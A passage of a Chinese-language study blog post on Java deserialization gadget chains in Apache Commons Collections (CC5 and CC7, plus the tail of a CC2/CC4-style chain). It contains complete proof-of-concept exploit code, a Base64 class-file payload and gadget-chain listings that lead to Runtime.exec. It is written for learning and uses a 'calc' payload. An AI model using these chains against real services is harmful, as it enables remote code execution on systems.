Base64.getDecoder().decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=" ); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][] {code}); setFieldValue(templatesImpl, "_name" , "test" ); setFieldValue(templatesImpl, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { templatesImpl } ), }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); ois.readObject(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
不过这条利用链在commons-collections3
是无法中利用的。
因为org.apache.commons.collections4.comparators.TransformingComparator
在commons-collections4.0
之前没有实现Serializable
接口,无法序列化。
CC5 这个链主要是为了解决高版本利用问题,使用BadAttributeValueExpException
替换AnnotationInvocationHandler
配合TiedMapEntry#toString()
去串联LazyMap#get()
调用transform()
触发ChainedTransformer
恶意对象反射链。
也就是我们前面CC1谈到的:
在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap
对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作,便无法触发transform
。
POC 先给出Gadget Chains:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream#readObject() BadAttributeValueExpException#readObject() TiedMapEntry#toString() LazyMap#get() ChainedTransformer.transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() Class#getMethod() InvokerTransformer#transform() Method#invoke() Runtime#getRuntime() InvokerTransformer#transform() Method#invoke() Runtime#exec()
借用学长的改改,同时把serialize和deserialize写进函数里,算是换一种代码风格:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package com.eddiemurphy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws Exception{ ChainedTransformer chain=getChainedTransformer(); Map lazymap=LazyMap.decorate(new HashMap (),chain); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap,1 ); BadAttributeValueExpException e=new BadAttributeValueExpException (null ); setFieldValue(e,"val" ,tiedMapEntry); deserialize(serialize(e)); } static ChainedTransformer getChainedTransformer () { ConstantTransformer ct=new ConstantTransformer (Runtime.class); InvokerTransformer it1=new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" ,new Class [0 ]} ); InvokerTransformer it2=new InvokerTransformer ( "invoke" , new Class []{Object.class,Object[].class}, new Object []{"getRuntime" ,new Class [0 ]} ); InvokerTransformer it_exec=new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ); Transformer[] a=new Transformer []{ct,it1,it2,it_exec}; ChainedTransformer chain=new ChainedTransformer (a); return chain; } public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static byte [] serialize(Object obj) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); return baos.toByteArray(); } public static void deserialize (byte [] bytes) throws Exception{ new ObjectInputStream (new ByteArrayInputStream (bytes)).readObject(); } }
CC7 CC7压轴。
因为它真的很绕。打的还是CommonsCollections 3.1 - 3.2.1
换了Hashtable
类,利用其reconstitutionPut
方法中比较key的值,会调用LazyMap的equals方法。
为什么要put两个lazymap 因为为了进reconstitutionPut
for
循环,tab
需要不为空。
tab
其实就是hashtable
,entry
是单链,动调能发现put
两个的时候能让tab
不为空
哈希碰撞 if
这一行由于用 &&
连接,左边为false
就不会执行右边。
这两个hash
对应当前key
和上一个key
的hashcode
:
这里key我们选择的是String,观察String.hashCode()
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
爆破两位就可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.eddiemurphy;public class HashCollision { static String dict="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r" ; public static void main (String[] args) { int len=dict.length(); for (int a1=0 ;a1<len;a1++){ for (int a2=0 ;a2<len;a2++){ for (int b1=0 ;b1<len;b1++){ for (int b2=0 ;b2<len;b2++){ if (a1!=b1&&a2!=b2){ String s1=get(a1)+get(a2); String s2=get(b1)+get(b2); if (s1.hashCode()==s2.hashCode()){ System.out.println(s1+"\n" +s2); return ; } } } } } } System.out.println("fuck" ); } static String get (int i) { return String.valueOf(dict.charAt(i)); } }
为什么map2.remove("00");
其实和上面的CommonsCollections6一样道理,hashtable.put(map2, 1);
这一行也会调用lazymap.get
,从而多加了一个带着processImpl
的元素,不能序列化。
POC 先给出Gadget Chains:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Hashtable#readObject() Hashtable#reconstitutionPut() AbstractMapDecorator#equals() AbstractMap#equals() LazyMap#get() ChainedTransformer#transform() ConstantTransformer#transform() InvokerTransformer#transform() Method#invoke() Class#getMethod() InvokerTransformer#transform() Method#invoke() Runtime#getRuntime() InvokerTransformer#transform() Method#invoke() Runtime#exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.eddiemurphy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) { try { ChainedTransformer chain = getChainedTransformer(); Map<String, Integer> hashMap1 = new HashMap <>(); Map<String, Integer> hashMap2 = new HashMap <>(); Map<String, Integer> map1 = LazyMap.decorate(hashMap1, chain); map1.put("00" , 1 ); Map<String, Integer> map2 = LazyMap.decorate(hashMap2, chain); map2.put(".n" , 1 ); Hashtable<Map<String, Integer>, Integer> hashtable = new Hashtable <>(); hashtable.put(map1, 1 ); hashtable.put(map2, 1 ); map2.remove("00" ); deserialize(serialize(hashtable)); } catch (Exception e) { e.printStackTrace(); } } static ChainedTransformer getChainedTransformer () { ConstantTransformer ct = new ConstantTransformer (Runtime.class); InvokerTransformer it1 = new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ); InvokerTransformer it2 = new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ); InvokerTransformer it_exec = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ); Transformer[] a = new Transformer []{ct, it1, it2, it_exec}; return new ChainedTransformer (a); } public static byte [] serialize(Object obj) throws Exception { try (ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos)) { oos.writeObject(obj); return baos.toByteArray(); } } public static void deserialize (byte [] bytes) throws Exception { try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes))) { ois.readObject(); } } }
Summary
由此CC链告一段落,CB链随缘再讲吧。
看完CC链只能说反序列化初步入门,实战调链子也会后续一步步写上的。
我一定要成为Java高手!!!!
参考:
https://p4d0rn.gitbook.io/java/serial-journey/commons-collection/
https://wx.zsxq.com/dweb2/index/tags/Java安全漫谈/551511412514
Javaweb安全——反序列化漏洞-commons-collections4利用链(CC2和CC4)-CSDN博客
Javaweb安全——反序列化漏洞-CC&CB链思路整理-CSDN博客
Java反序列化从URLDNS到CommonsCollections1-7 - KingBridge - 博客园 (cnblogs.com)